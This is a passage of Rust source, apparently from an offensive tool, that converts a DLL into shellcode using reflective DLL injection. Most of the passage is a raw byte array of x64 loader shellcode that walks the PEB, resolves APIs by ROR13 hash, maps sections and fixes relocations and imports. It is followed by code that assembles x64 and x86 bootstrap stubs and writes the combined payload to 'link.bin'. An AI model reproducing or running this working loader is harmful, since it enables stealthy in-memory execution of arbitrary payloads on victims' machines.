0x81, 0x06, 0x00, 0x00, 0xB9, 0x10, 0xE1, 226 | 0x8A, 0xC3, 0x4C, 0x8B, 0xF8, 0xE8, 0x74, 0x06, 0x00, 0x00, 0xB9, 0xAF, 0xB1, 0x5C, 0x94, 227 | 0x48, 0x89, 0x45, 0xD7, 0x48, 0x8B, 0xF8, 0xE8, 0x63, 0x06, 0x00, 0x00, 0xB9, 0x33, 0x00, 228 | 0x9E, 0x95, 0x48, 0x89, 0x45, 0xDF, 0x48, 0x8B, 0xD8, 0xE8, 0x52, 0x06, 0x00, 0x00, 0xB9, 229 | 0x44, 0xF0, 0x35, 0xE0, 0x4C, 0x8B, 0xF0, 0xE8, 0x45, 0x06, 0x00, 0x00, 0x45, 0x33, 0xD2, 230 | 0x48, 0x89, 0x45, 0xC7, 0x4D, 0x85, 0xE4, 0x0F, 0x84, 0x16, 0x06, 0x00, 0x00, 0x4D, 0x85, 231 | 0xED, 0x0F, 0x84, 0x0D, 0x06, 0x00, 0x00, 0x4D, 0x85, 0xFF, 0x0F, 0x84, 0x04, 0x06, 0x00, 232 | 0x00, 0x48, 0x85, 0xFF, 0x0F, 0x84, 0xFB, 0x05, 0x00, 0x00, 0x48, 0x85, 0xDB, 0x0F, 0x84, 233 | 0xF2, 0x05, 0x00, 0x00, 0x4D, 0x85, 0xF6, 0x0F, 0x84, 0xE9, 0x05, 0x00, 0x00, 0x48, 0x85, 234 | 0xC0, 0x0F, 0x84, 0xE0, 0x05, 0x00, 0x00, 0x48, 0x63, 0x7E, 0x3C, 0x48, 0x03, 0xFE, 0x81, 235 | 0x3F, 0x50, 0x45, 0x00, 0x00, 0x0F, 0x85, 0xCD, 0x05, 0x00, 0x00, 0xB8, 0x64, 0x86, 0x00, 236 | 0x00, 0x66, 0x39, 0x47, 0x04, 0x0F, 0x85, 0xBE, 0x05, 0x00, 0x00, 0x44, 0x8B, 0x47, 0x38, 237 | 0x45, 0x8D, 0x5A, 0x01, 0x45, 0x84, 0xC3, 0x0F, 0x85, 0xAD, 0x05, 0x00, 0x00, 0x0F, 0xB7, 238 | 0x47, 0x06, 0x41, 0x8B, 0xDA, 0x0F, 0xB7, 0x4F, 0x14, 0x85, 0xC0, 0x74, 0x28, 0x48, 0x83, 239 | 0xC1, 0x24, 0x44, 0x8B, 0xC8, 0x48, 0x03, 0xCF, 0x8B, 0x51, 0x04, 0x85, 0xD2, 0x75, 0x07, 240 | 0x8B, 0x11, 0x41, 0x03, 0xD0, 0xEB, 0x02, 0x03, 0x11, 0x3B, 0xD3, 0x0F, 0x47, 0xDA, 0x48, 241 | 0x83, 0xC1, 0x28, 0x4D, 0x2B, 0xCB, 0x75, 0xE2, 0x48, 0x8D, 0x4D, 0xE7, 0x41, 0xFF, 0xD6, 242 | 0x8B, 0x55, 0xEB, 0x44, 0x8D, 0x72, 0xFF, 0x44, 0x03, 0x77, 0x50, 0x8D, 0x42, 0xFF, 0xF7, 243 | 0xD0, 0x48, 0x8D, 0x4A, 0xFF, 0x44, 0x23, 0xF0, 0x8B, 0xC3, 0x48, 0x03, 0xC8, 0x48, 0x8D, 244 | 0x42, 0xFF, 0x48, 0xF7, 0xD0, 0x48, 0x23, 0xC8, 0x4C, 0x3B, 0xF1, 0x0F, 0x85, 0x40, 0x05, 245 | 0x00, 0x00, 0x48, 0x8B, 0x4F, 0x30, 0x41, 0xB9, 0x04, 0x00, 0x00, 0x00, 0x41, 0xB8, 0x00, 246 | 0x30, 0x00, 0x00, 0x41, 0x8B, 0xD6, 0x41, 0xFF, 0xD7, 0x48, 0x8B, 0xD8, 0x48, 0x85, 0xC0, 247 | 0x75, 0x15, 0x44, 0x8D, 0x48, 0x04, 0x41, 0xB8, 0x00, 0x30, 0x00, 0x00, 0x41, 0x8B, 0xD6, 248 | 0x33, 0xC9, 0x41, 0xFF, 0xD7, 0x48, 0x8B, 0xD8, 0x44, 0x8B, 0x5D, 0x7F, 0x41, 0xBE, 0x01, 249 | 0x00, 0x00, 0x00, 0x45, 0x84, 0xDE, 0x0F, 0x84, 0xB1, 0x00, 0x00, 0x00, 0x8B, 0x46, 0x3C, 250 | 0x89, 0x43, 0x3C, 0x8B, 0x56, 0x3C, 0xEB, 0x0B, 0x8B, 0xCA, 0x41, 0x03, 0xD6, 0x8A, 0x04, 251 | 0x31, 0x88, 0x04, 0x19, 0x3B, 0x57, 0x54, 0x72, 0xF0, 0x45, 0x33, 0xFF, 0x48, 0x63, 0x7B, 252 | 0x3C, 0x45, 0x8B, 0xD7, 0x48, 0x03, 0xFB, 0x48, 0x89, 0x7D, 0xCF, 0x0F, 0xB7, 0x47, 0x14, 253 | 0x66, 0x44, 0x3B, 0x7F, 0x06, 0x73, 0x3E, 0x4C, 0x8D, 0x47, 0x28, 0x4C, 0x03, 0xC0, 0x45, 254 | 0x8B, 0xCF, 0x45, 0x39, 0x38, 0x76, 0x1F, 0x41, 0x8B, 0x50, 0x04, 0x41, 0x8B, 0x48, 0xFC, 255 | 0x41, 0x8B, 0xC1, 0x45, 0x03, 0xCE, 0x48, 0x03, 0xC8, 0x48, 0x03, 0xD0, 0x8A, 0x04, 0x32, 256 | 0x88, 0x04, 0x19, 0x45, 0x3B, 0x08, 0x72, 0xE1, 0x0F, 0xB7, 0x47, 0x06, 0x45, 0x03, 0xD6, 257 | 0x49, 0x83, 0xC0, 0x28, 0x44, 0x3B, 0xD0, 0x72, 0xC9, 0x4C, 0x8B, 0xD3, 0x4C, 0x2B, 0x57, 258 | 0x30, 0x0F, 0x84, 0xDE, 0x00, 0x00, 0x00, 0x44, 0x39, 0xBF, 0xB4, 0x00, 0x00, 0x00, 0x0F, 259 | 0x84, 0xD1, 0x00, 0x00, 0x00, 0x44, 0x8B, 0x87, 0xB0, 0x00, 0x00, 0x00, 0x4C, 0x03, 0xC3, 260 | 0x45, 0x39, 0x38, 0x0F, 0x84, 0xBE, 0x00, 0x00, 0x00, 0x41, 0xBC, 0x02, 0x00, 0x00, 0x00, 261 | 0x4D, 0x8D, 0x48, 0x08, 0xE9, 0x93, 0x00, 0x00, 0x00, 0x45, 0x33, 0xFF, 0x41, 0x8B, 0xD7, 262 | 0x44, 0x39, 0x7F, 0x54, 0x0F, 0x86, 0x5D, 0xFF, 0xFF, 0xFF, 0x8B, 0xCA, 0x41, 0x03, 0xD6, 263 | 0x8A, 0x04, 0x31, 0x88, 0x04, 0x19, 0x3B, 0x57, 0x54, 0x72, 0xF0, 0xE9, 0x48, 0xFF, 0xFF, 264 | 0xFF, 0x41, 0x0F, 0xB7, 0x01, 0x0F, 0xB7, 0xC8, 0x66, 0xC1, 0xE9, 0x0C, 0x66, 0x83, 0xF9, 265 | 0x0A, 0x75, 0x11, 0x41, 0x8B, 0x08, 0x25, 0xFF, 0x0F, 0x00, 0x00, 0x48, 0x03, 0xC3, 0x4C, 266 | 0x01, 0x14, 0x01, 0xEB, 0x49, 0x66, 0x83, 0xF9, 0x03, 0x75, 0x0E, 0x25, 0xFF, 0x0F, 0x00, 267 | 0x00, 0x48, 0x8D, 0x0C, 0x03, 0x41, 0x8B, 0xC2, 0xEB, 0x2E, 0x66, 0x41, 0x3B, 0xCE, 0x75, 268 | 0x15, 0x25, 0xFF, 0x0F, 0x00, 0x00, 0x48, 0x8D, 0x0C, 0x03, 0x49, 0x8B, 0xC2, 0x48, 0xC1, 269 | 0xE8, 0x10, 0x0F, 0xB7, 0xC0, 0xEB, 0x13, 0x66, 0x41, 0x3B, 0xCC, 0x75, 0x14, 0x25, 0xFF, 270 | 0x0F, 0x00, 0x00, 0x48, 0x8D, 0x0C, 0x03, 0x41, 0x0F, 0xB7, 0xC2, 0x41, 0x8B, 0x10, 0x48, 271 | 0x01, 0x04, 0x0A, 0x4D, 0x03, 0xCC, 0x41, 0x8B, 0x40, 0x04, 0x49, 0x03, 0xC0, 0x4C, 0x3B, 272 | 0xC8, 0x75, 0x86, 0x4D, 0x8B, 0xC1, 0x45, 0x39, 0x39, 0x0F, 0x85, 0x4C, 0xFF, 0xFF, 0xFF, 273 | 0x4C, 0x8B, 0x65, 0xB7, 0x44, 0x39, 0xBF, 0x94, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x45, 0x01, 274 | 0x00, 0x00, 0x44, 0x8B, 0x87, 0x90, 0x00, 0x00, 0x00, 0x45, 0x8B, 0xEF, 0x4C, 0x03, 0xC3, 275 | 0x49, 0x8D, 0x40, 0x0C, 0xEB, 0x07, 0x45, 0x03, 0xEE, 0x48, 0x8D, 0x40, 0x14, 0x44, 0x39, 276 | 0x38, 0x75, 0xF4, 0x41, 0x8B, 0xC3, 0x83, 0xE0, 0x04, 0x89, 0x45, 0xB3, 0x0F, 0x84, 0x82, 277 | 0x00, 0x00, 0x00, 0x45, 0x3B, 0xEE, 0x76, 0x7D, 0x41, 0xC1, 0xEB, 0x10, 0x45, 0x8D, 0x4D, 278 | 0xFF, 0x44, 0x89, 0x5D, 0x7F, 0x45, 0x8B, 0xDF, 0x45, 0x85, 0xC9, 0x74, 0x6F, 0x4D, 0x8B, 279 | 0xD0, 0x41, 0x0F, 0x10, 0x02, 0x33, 0xD2, 0x41, 0x8B, 0xCD, 0x41, 0x2B, 0xCB, 0x69, 0xF6, 280 | 0xFD, 0x43, 0x03, 0x00, 0xB8, 0xFF, 0x7F, 0x00, 0x00, 0xF7, 0xF1, 0x33, 0xD2, 0x81, 0xC6, 281 | 0xC3, 0x9E, 0x26, 0x00, 0x41, 0x8D, 0x0C, 0x06, 0x8B, 0xC6, 0xC1, 0xE8, 0x10, 0x25, 0xFF, 282 | 0x7F, 0x00, 0x00, 0xF7, 0xF1, 0x41, 0x03, 0xC3, 0x45, 0x03, 0xDE, 0x48, 0x8D, 0x0C, 0x80, 283 | 0x41, 0x8B, 0x54, 0x88, 0x10, 0x41, 0x0F, 0x10, 0x0C, 0x88, 0x41, 0x0F, 0x11, 0x04, 0x88, 284 | 0x41, 0x8B, 0x42, 0x10, 0x41, 0x89, 0x44, 0x88, 0x10, 0x41, 0x0F, 0x11, 0x0A, 0x41, 0x89, 285 | 0x52, 0x10, 0x4D, 0x8D, 0x52, 0x14, 0x45, 0x3B, 0xD9, 0x72, 0x9C, 0xEB, 0x06, 0x8B, 0x45, 286 | 0xB3, 0x89, 0x45, 0x7F, 0x8B, 0xB7, 0x90, 0x00, 0x00, 0x00, 0x48, 0x03, 0xF3, 0x8B, 0x46, 287 | 0x0C, 0x85, 0xC0, 0x74, 0x7B, 0x8B, 0x7D, 0x7F, 0x8B, 0xC8, 0x48, 0x03, 0xCB, 0x41, 0xFF, 288 | 0xD4, 0x44, 0x8B, 0x3E, 0x4C, 0x8B, 0xE0, 0x44, 0x8B, 0x76, 0x10, 0x4C, 0x03, 0xFB, 0x4C, 289 | 0x03, 0xF3, 0x49, 0x8B, 0x0F, 0x48, 0x85, 0xC9, 0x74, 0x2D, 0x48, 0x8B, 0x7D, 0xBF, 0x79, 290 | 0x05, 0x0F, 0xB7, 0xD1, 0xEB, 0x07, 0x48, 0x8D, 0x51, 0x02, 0x48, 0x03, 0xD3, 0x49, 0x8B, 291 | 0xCC, 0xFF, 0xD7, 0x49, 0x83, 0xC7, 0x08, 0x49, 0x89, 0x06, 0x49, 0x83, 0xC6, 0x08, 0x49, 292 | 0x8B, 0x0F, 0x48, 0x85, 0xC9, 0x75, 0xDA, 0x8B, 0x7D, 0x7F, 0x45, 0x33, 0xFF, 0x44, 0x39, 293 | 0x7D, 0xB3, 0x74, 0x0F, 0x41, 0x83, 0xFD, 0x01, 0x76, 0x09, 0x69, 0xCF, 0xE8, 0x03, 0x00, 294 | 0x00, 0xFF, 0x55, 0xC7, 0x8B, 0x46, 0x20, 0x48, 0x83, 0xC6, 0x14, 0x4C, 0x8B, 0x65, 0xB7, 295 | 0x85, 0xC0, 0x75, 0x8C, 0x48, 0x8B, 0x7D, 0xCF, 0x4C, 0x8B, 0x6D, 0xBF, 0x44, 0x39, 0xBF, 296 | 0xF4, 0x00, 0x00, 0x00, 0x74, 0x68, 0x44, 0x8B, 0xB7, 0xF0, 0x00, 0x00, 0x00, 0x49, 0x83, 297 | 0xC6, 0x04, 0x4C, 0x03, 0xF3, 0xEB, 0x53, 0x41, 0x8B, 0x0E, 0x48, 0x03, 0xCB, 0x41, 0xFF, 298 | 0xD4, 0x41, 0x8B, 0x76, 0x08, 0x4C, 0x8B, 0xE0, 0x45, 0x8B, 0x7E, 0x0C, 0x48, 0x03, 0xF3, 299 | 0x4C, 0x03, 0xFB, 0xEB, 0x25, 0x49, 0x8B, 0x0F, 0x48, 0x85, 0xC9, 0x79, 0x05, 0x0F, 0xB7, 300 | 0xD1, 0xEB, 0x07, 0x48, 0x8D, 0x51, 0x02, 0x48, 0x03, 0xD3, 0x49, 0x8B, 0xCC, 0x41, 0xFF, 301 | 0xD5, 0x48, 0x89, 0x06, 0x48, 0x83, 0xC6, 0x08, 0x49, 0x83, 0xC7, 0x08, 0x33, 0xC0, 0x48, 302 | 0x39, 0x06, 0x75, 0xD4, 0x4C, 0x8B, 0x65, 0xB7, 0x49, 0x83, 0xC6, 0x20, 0x45, 0x33, 0xFF, 303 | 0x45, 0x39, 0x3E, 0x75, 0xA8, 0x45, 0x8B, 0xF7, 0x0F, 0xB7, 0x47, 0x14, 0x41, 0xBC, 0x01, 304 | 0x00, 0x00, 0x00, 0x66, 0x44, 0x3B, 0x7F, 0x06, 0x0F, 0x83, 0xCF, 0x00, 0x00, 0x00, 0x4C, 305 | 0x8B, 0x7D, 0xD7, 0x48, 0x8D, 0x77, 0x3C, 0x48, 0x03, 0xF0, 0x45, 0x33, 0xC9, 0x44, 0x39, 306 | 0x4E, 0xEC, 0x0F, 0x84, 0xA0, 0x00, 0x00, 0x00, 0x8B, 0x0E, 0x8B, 0xD1, 0xC1, 0xEA, 0x1E, 307 | 0x8B, 0xC1, 0x41, 0x23, 0xD4, 0xC1, 0xE8, 0x1D, 0xC1, 0xE9, 0x1F, 0x41, 0x23, 0xC4, 0x75, 308 | 0x24, 0x85, 0xD2, 0x75, 0x0E, 0xF7, 0xD9, 0x45, 0x1B, 0xC0, 0x41, 0x83, 0xE0, 0x07, 0x45, 309 | 0x03, 0xC4, 0xEB, 0x4F, 0xF7, 0xD9, 0xB8, 0x02, 0x00, 0x00, 0x00, 0x45, 0x1B, 0xC0, 0x44, 310 | 0x23, 0xC0, 0x44, 0x03, 0xC0, 0xEB, 0x3D, 0x85, 0xD2, 0x75, 0x20, 0x85, 0xC9, 0x75, 0x06, 311 | 0x44, 0x8D, 0x42, 0x10, 0xEB, 0x2F, 0x85, 0xD2, 0x75, 0x12, 0x85, 0xC9, 0x74, 0x08, 0x41, 312 | 0xB8, 0x80, 0x00, 0x00, 0x00, 0xEB, 0x1F, 0x44, 0x8B, 0x45, 0xAF, 0xEB, 0x1D, 0x85, 0xC9, 313 | 0x75, 0x06, 0x44, 0x8D, 0x41, 0x20, 0xEB, 0x0F, 0x44, 0x8B, 0x45, 0xAF, 0x85, 0xC9, 0xB8, 314 | 0x40, 0x00, 0x00, 0x00, 0x44, 0x0F, 0x45, 0xC0, 0x44, 0x89, 0x45, 0xAF, 0xF7, 0x06, 0x00, 315 | 0x00, 0x00, 0x04, 0x74, 0x09, 0x41, 0x0F, 0xBA, 0xE8, 0x09, 0x44, 0x89, 0x45, 0xAF, 0x8B, 316 | 0x4E, 0xE8, 0x4C, 0x8D, 0x4D, 0xAF, 0x8B, 0x56, 0xEC, 0x48, 0x03, 0xCB, 0x41, 0xFF, 0xD7, 317 | 0x45, 0x33, 0xC9, 0x0F, 0xB7, 0x47, 0x06, 0x45, 0x03, 0xF4, 0x48, 0x83, 0xC6, 0x28, 0x44, 318 | 0x3B, 0xF0, 0x0F, 0x82, 0x42, 0xFF, 0xFF, 0xFF, 0x45, 0x33, 0xFF, 0x45, 0x33, 0xC0, 0x33, 319 | 0xD2, 0x48, 0x83, 0xC9, 0xFF, 0xFF, 0x55, 0xDF, 0x44, 0x39, 0xBF, 0xD4, 0x00, 0x00, 0x00, 320 | 0x74, 0x24, 0x8B, 0x87, 0xD0, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x74, 0x18, 0x18, 0xEB, 0x0F, 321 | 0x45, 0x33, 0xC0, 0x41, 0x8B, 0xD4, 0x48, 0x8B, 0xCB, 0xFF, 0xD0, 0x48, 0x8D, 0x76, 0x08, 322 | 0x48, 0x8B, 0x06, 0x48, 0x85, 0xC0, 0x75, 0xE9, 0x8B, 0x47, 0x28, 0x4D, 0x8B, 0xC4, 0x48, 323 | 0x03, 0xC3, 0x41, 0x8B, 0xD4, 0x48, 0x8B, 0xCB, 0xFF, 0xD0, 0x8B, 0x75, 0x67, 0x85, 0xF6, 324 | 0x0F, 0x84, 0x96, 0x00, 0x00, 0x00, 0x44, 0x39, 0xBF, 0x8C, 0x00, 0x00, 0x00, 0x0F, 0x84, 325 | 0x89, 0x00, 0x00, 0x00, 0x8B, 0x8F, 0x88, 0x00, 0x00, 0x00, 0x48, 0x03, 0xCB, 0x44, 0x8B, 326 | 0x59, 0x18, 0x45, 0x85, 0xDB, 0x74, 0x77, 0x44, 0x39, 0x79, 0x14, 0x74, 0x71, 0x44, 0x8B, 327 | 0x49, 0x20, 0x41, 0x8B, 0xFF, 0x8B, 0x51, 0x24, 0x4C, 0x03, 0xCB, 0x48, 0x03, 0xD3, 0x45, 328 | 0x85, 0xDB, 0x74, 0x5C, 0x45, 0x8B, 0x01, 0x45, 0x8B, 0xD7, 0x4C, 0x03, 0xC3, 0x74, 0x51, 329 | 0xEB, 0x10, 0x0F, 0xBE, 0xC0, 0x41, 0x03, 0xC2, 0x44, 0x8B, 0xD0, 0x41, 0xC1, 0xCA, 0x0D, 330 | 0x4D, 0x03, 0xC4, 0x41, 0x8A, 0x00, 0x84, 0xC0, 0x75, 0xE9, 0x41, 0x3B, 0xF2, 0x75, 0x05, 331 | 0x48, 0x85, 0xD2, 0x75, 0x16, 0xB8, 0x02, 0x00, 0x00, 0x00, 0x41, 0x03, 0xFC, 0x48, 0x03, 332 | 0xD0, 0x49, 0x83, 0xC1, 0x04, 0x41, 0x3B, 0xFB, 0x73, 0x1A, 0xEB, 0xBC, 0x8B, 0x49, 0x1C, 333 | 0x0F, 0xB7, 0x12, 0x48, 0x03, 0xCB, 0x8B, 0x04, 0x91, 0x8B, 0x55, 0x77, 0x48, 0x03, 0xC3, 334 | 0x48, 0x8B, 0x4D, 0x6F, 0xFF, 0xD0, 0x48, 0x8B, 0xC3, 0xEB, 0x02, 0x33, 0xC0, 0x48, 0x8B, 335 | 0x9C, 0x24, 0xD0, 0x00, 0x00, 0x00, 0x48, 0x81, 0xC4, 0x90, 0x00, 0x00, 0x00, 0x41, 0x5F, 336 | 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5F, 0x5E, 0x5D, 0xC3, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 337 | 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x10, 0x65, 0x48, 0x8B, 338 | 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x8B, 0xF1, 0x48, 0x8B, 0x50, 0x18, 0x4C, 0x8B, 0x4A, 339 | 0x10, 0x4D, 0x8B, 0x41, 0x30, 0x4D, 0x85, 0xC0, 0x0F, 0x84, 0xB4, 0x00, 0x00, 0x00, 0x41, 340 | 0x0F, 0x10, 0x41, 0x58, 0x49, 0x63, 0x40, 0x3C, 0x33, 0xD2, 0x4D, 0x8B, 0x09, 0xF3, 0x0F, 341 | 0x7F, 0x04, 0x24, 0x42, 0x8B, 0x9C, 0x00, 0x88, 0x00, 0x00, 0x00, 0x85, 0xDB, 0x74, 0xD4, 342 | 0x48, 0x8B, 0x04, 0x24, 0x48, 0xC1, 0xE8, 0x10, 0x44, 0x0F, 0xB7, 0xD0, 0x45, 0x85, 0xD2, 343 | 0x74, 0x21, 0x48, 0x8B, 0x4C, 0x24, 0x08, 0x45, 0x8B, 0xDA, 0x0F, 0xBE, 0x01, 0xC1, 0xCA, 344 | 0x0D, 0x80, 0x39, 0x61, 0x7C, 0x03, 0x83, 0xC2, 0xE0, 0x03, 0xD0, 0x48, 0xFF, 0xC1, 0x49, 345 | 0x83, 0xEB, 0x01, 0x75, 0xE7, 0x4D, 0x8D, 0x14, 0x18, 0x33, 0xC9, 0x41, 0x8B, 0x7A, 0x20, 346 | 0x49, 0x03, 0xF8, 0x41, 0x39, 0x4A, 0x18, 0x76, 0x8F, 0x8B, 0x1F, 0x45, 0x33, 0xDB, 0x49, 347 | 0x03, 0xD8, 0x48, 0x8D, 0x7F, 0x04, 0x0F, 0xBE, 0x03, 0x48, 0xFF, 0xC3, 0x41, 0xC1, 0xCB, 348 | 0x0D, 0x44, 0x03, 0xD8, 0x80, 0x7B, 0xFF, 0x00, 0x75, 0xED, 0x41, 0x8D, 0x04, 0x13, 0x3B, 349 | 0xC6, 0x74, 0x0D, 0xFF, 0xC1, 0x41, 0x3B, 0x4A, 0x18, 0x72, 0xD1, 0xE9, 0x5B, 0xFF, 0xFF, 350 | 0xFF, 0x41, 0x8B, 0x42, 0x24, 0x03, 0xC9, 0x49, 0x03, 0xC0, 0x0F, 0xB7, 0x14, 0x01, 0x41, 351 | 0x8B, 0x4A, 0x1C, 0x49, 0x03, 0xC8, 0x8B, 0x04, 0x91, 0x49, 0x03, 0xC0, 0xEB, 0x02, 0x33, 352 | 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x20, 0x48, 0x8B, 0x74, 0x24, 0x28, 0x48, 0x83, 0xC4, 0x10, 353 | 0x5F, 0xC3, 354 | ]; 355 | let user_data = if user_data_.is_empty() { 356 | "None".as_bytes().to_vec() 357 | } else { 358 | user_data_ 359 | }; 360 | let mut final_shellcode: Vec = Vec::new(); 361 | 362 | if is_64bit_dll(&dll_bytes) { 363 | // x64 364 | let bootstrap_size = 64; 365 | 366 | // call next intruction (Pushes next intruction address to stack) 367 | let mut bootstrap = Vec::new(); 368 | bootstrap.extend_from_slice(&[0xe8, 0x00, 0x00, 0x00, 0x00]); 369 | 370 | // Set the offset to our DLL from pop result 371 | let dll_offset = bootstrap_size - bootstrap.len() + rdi_shellcode_64.len(); 372 | 373 | // pop rcx - Capture our current location in memory 374 | bootstrap.extend_from_slice(&[0x59]); 375 | 376 | // mov r8, rcx - copy our location in memory to r8 before we start modifying RCX 377 | bootstrap.extend_from_slice(&[0x49, 0x89, 0xc8]); 378 | 379 | // add rcx, 380 | bootstrap.extend_from_slice(&[0x48, 0x81, 0xc1]); 381 | bootstrap.extend_from_slice(&pack(dll_offset as u32)); 382 | 383 | // mov edx, 384 | bootstrap.extend_from_slice(&[0xba]); 385 | bootstrap.extend_from_slice(&function_hash); 386 | 387 | // Setup the location of our user data 388 | // add r8, + 389 | bootstrap.extend_from_slice(&[0x49, 0x81, 0xc0]); 390 | let user_data_location = dll_offset + dll_bytes.len(); 391 | bootstrap.extend_from_slice(&pack(user_data_location as u32)); 392 | 393 | // mov r9d, 394 | bootstrap.extend_from_slice(&[0x41, 0xb9]); 395 | bootstrap.extend_from_slice(&pack(user_data.len() as u32)); 396 | 397 | // push rsi - save original value 398 | bootstrap.extend_from_slice(&[0x56]); 399 | 400 | // mov rsi, rsp - store our current stack pointer for later 401 | bootstrap.extend_from_slice(&[0x48, 0x89, 0xe6]); 402 | 403 | // and rsp, 0x0FFFFFFFFFFFFFFF0 - Align the stack to 16 bytes 404 | bootstrap.extend_from_slice(&[0x48, 0x83, 0xe4, 0xf0]); 405 | 406 | // sub rsp, 0x30 - Create some breathing room on the stack 407 | bootstrap.extend_from_slice(&[0x48, 0x83, 0xec]); 408 | bootstrap.extend_from_slice(&[0x30]); // 32 bytes for shadow space + 8 bytes for last arg + 8 bytes for stack alignment 409 | 410 | // mov dword ptr [rsp + 0x20], - Push arg 5 just above shadow space 411 | bootstrap.extend_from_slice(&[0xC7, 0x44, 0x24]); 412 | bootstrap.extend_from_slice(&[0x20]); 413 | bootstrap.extend_from_slice(&pack(flags as u32)); 414 | 415 | // call - Transfer execution to the RDI 416 | bootstrap.extend_from_slice(&[0xe8]); 417 | let remainder_of_instructions = bootstrap_size - bootstrap.len() - 4; 418 | bootstrap.extend_from_slice(&[remainder_of_instructions as u8]); // Skip over the remainder of instructions 419 | bootstrap.extend_from_slice(&[0x00, 0x00, 0x00]); 420 | 421 | // mov rsp, rsi - Reset our original stack pointer 422 | bootstrap.extend_from_slice(&[0x48, 0x89, 0xf4]); 423 | 424 | // pop rsi - Put things back where we left them 425 | bootstrap.extend_from_slice(&[0x5e]); 426 | 427 | // ret - return to caller 428 | bootstrap.extend_from_slice(&[0xc3]); 429 | 430 | // Ends up looking like this in memory: 431 | // Bootstrap shellcode 432 | // RDI shellcode 433 | // DLL bytes 434 | // User data 435 | final_shellcode.extend_from_slice(&bootstrap); 436 | final_shellcode.extend_from_slice(&rdi_shellcode_64); 437 | final_shellcode.extend_from_slice(&dll_bytes); 438 | final_shellcode.extend_from_slice(&user_data); 439 | } else { 440 | // x86 441 | let bootstrap_size = 45; 442 | 443 | // call next intruction (Pushes next intruction address to stack) 444 | let mut bootstrap = Vec::new(); 445 | bootstrap.extend_from_slice(&[0xe8, 0x00, 0x00, 0x00, 0x00]); 446 | 447 | // Set the offset to our DLL from pop result 448 | let dll_offset = bootstrap_size - bootstrap.len() + rdi_shellcode_32.len(); 449 | 450 | // pop eax - Capture our current location in memory 451 | bootstrap.extend_from_slice(&[0x58]); 452 | 453 | // mov ebx, eax - copy our location in memory to ebx before we start modifying eax 454 | bootstrap.extend_from_slice(&[0x89, 0xc3]); 455 | 456 | // add eax, 457 | bootstrap.extend_from_slice(&[0x05]); 458 | bootstrap.extend_from_slice(&pack(dll_offset as u32)); 459 | 460 | // add ebx, + 461 | bootstrap.extend_from_slice(&[0x81, 0xc3]); 462 | let user_data_location = dll_offset + dll_bytes.len(); 463 | bootstrap.extend_from_slice(&pack(user_data_location as u32)); 464 | 465 | // push 466 | bootstrap.extend_from_slice(&[0x68]); 467 | bootstrap.extend_from_slice(&pack(flags as u32)); 468 | 469 | // push 470 | bootstrap.extend_from_slice(&[0x68]); 471 | bootstrap.extend_from_slice(&pack(user_data.len() as u32)); 472 | 473 | // push ebx 474 | bootstrap.extend_from_slice(&[0x53]); 475 | 476 | // push 477 | bootstrap.extend_from_slice(&[0x68]); 478 | bootstrap.extend_from_slice(&function_hash); 479 | 480 | // push eax 481 | bootstrap.extend_from_slice(&[0x50]); 482 | 483 | // call - Transfer execution to the RDI 484 | bootstrap.extend_from_slice(&[0xe8]); 485 | let remainder_of_instructions = bootstrap_size - bootstrap.len() - 4; 486 | bootstrap.extend_from_slice(&[remainder_of_instructions as u8]); 487 | bootstrap.extend_from_slice(&[0x00, 0x00, 0x00]); 488 | 489 | // add esp, 0x14 - correct the stack pointer 490 | bootstrap.extend_from_slice(&[0x83, 0xc4, 0x14]); 491 | 492 | // ret - return to caller 493 | bootstrap.extend_from_slice(&[0xc3]); 494 | 495 | // Ends up looking like this in memory: 496 | // Bootstrap shellcode 497 | // RDI shellcode 498 | // DLL bytes 499 | // User data 500 | final_shellcode.extend_from_slice(&bootstrap); 501 | final_shellcode.extend_from_slice(&rdi_shellcode_32); 502 | final_shellcode.extend_from_slice(&dll_bytes); 503 | final_shellcode.extend_from_slice(&user_data); 504 | } 505 | final_shellcode 506 | } 507 | 508 | pub fn shellcode_rdi_to_file(dll_path: &str, function_name: &str) { 509 | let shellcode = shellcode_rdi(dll_path, function_name, String::from("")); 510 | // write shellcode to file 511 | let mut shellcode_file = 512 | fs::File::create("link.bin").expect("Error opening file to write shellcode"); 513 | shellcode_file 514 | .write_all(&shellcode) 515 | .expect("Could not write contents to shellcode file"); 516 | } 517 | --------------------------------------------------------------------------------